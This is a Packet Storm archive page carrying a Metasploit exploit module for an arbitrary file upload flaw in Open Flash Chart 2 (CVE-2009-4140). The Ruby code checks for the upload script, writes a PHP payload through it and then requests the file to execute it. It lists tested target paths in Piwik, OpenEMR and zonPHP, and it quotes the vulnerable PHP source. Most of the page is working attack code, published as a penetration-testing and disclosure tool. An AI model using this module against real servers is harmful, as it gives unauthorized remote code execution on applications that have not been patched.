Exploit the possiblities

Open Flash Chart 2 Arbitrary File Upload

Open Flash Chart 2 Arbitrary File Upload
Posted Oct 26, 2013
Authored by Braeden Thomas | Site metasploit.com

This Metasploit module exploits a file upload vulnerability found in Open Flash Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file in order to upload and execute malicious PHP files.

tags | exploit, php, file upload
advisories | CVE-2009-4140, OSVDB-59051
MD5 | 9b2fa6a24f9c9be08f48af2f7f651914

Open Flash Chart 2 Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "Open Flash Chart v2 Arbitrary File Upload",
'Description' => %q{
This module exploits a file upload vulnerability found in Open Flash
Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file
in order to upload and execute malicious PHP files.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Braeden Thomas', # Initial discovery + Piwik PoC
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # OpenEMR PoC
'Halim Cruzito', # zonPHP PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['BID', '37314'],
['CVE', '2009-4140'],
['OSVDB', '59051'],
['EDB', '10532']
],
'Payload' =>
{
'Space' => 8190, # Just a big value, injection on HTTP POST
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Targets' =>
[
# Tested on:
# * open-flash-chart v2-Lug-Wyrm-Charmer
# set TARGETURI /php-ofc-library/
# * open-flash-chart v2-beta-1
# set TARGETURI /php-ofc-library/
# * zonPHP v2.25
# set TARGETURI /zonPHPv225/ofc/
# * Piwik v0.4.3
# set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/
# * OpenEMR v4.1.1
# set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/
[ 'Generic (PHP Payload)', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 14 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/'])
], self.class)
end

#
# Check for ofc_upload_image.php
#
def check
print_status("#{peer} - Sending check")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"),
})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code.to_i == 404
print_error("#{peer} - No ofc_upload_image.php found")
elsif res and res.code == 200 and res.body =~ /Saving your image to/
vprint_status("#{peer} - Found ofc_upload_image.php")
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit

# Upload
@fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
print_status("#{peer} - Uploading '#{@fname}' (#{payload.encoded.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ofc_upload_image.php'),
'ctype' => "",
'vars_get' => { 'name' => "#{@fname}" },
'data' => "<?php #{payload.encoded} ?>"
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i == 404
fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found")
elsif res.body =~ /can't write file/
fail_with(Failure::Unknown, "#{peer} - Unable to write '#{@fname}'")
elsif res.body =~ /Saving your image to: (.+)#{@fname}/
path = $1
register_files_for_cleanup(@fname)
print_status("#{peer} - Executing '#{path}#{@fname}'")
else
fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
end

# Execute
res = send_request_raw({
'uri' => normalize_uri(target_uri.path, path, @fname)
})
if res and res.code == 404
fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")
end

end
end

#
# Source
#
=begin ofc_upload_image.php
20-// default path for the image to be stored //
21-$default_path = '../tmp-upload-images/';

23-if (!file_exists($default_path)) mkdir($default_path, 0777, true);

25-// full path to the saved image including filename //
26-$destination = $default_path . basename( $_GET[ 'name' ] );

28-echo 'Saving your image to: '. $destination;

39-$jfh = fopen($destination, 'w') or die("can't open file");
40-fwrite($jfh, $HTTP_RAW_POST_DATA);
41-fclose($jfh);
=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    15 Files
  • 24
    Jan 24th
    5 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close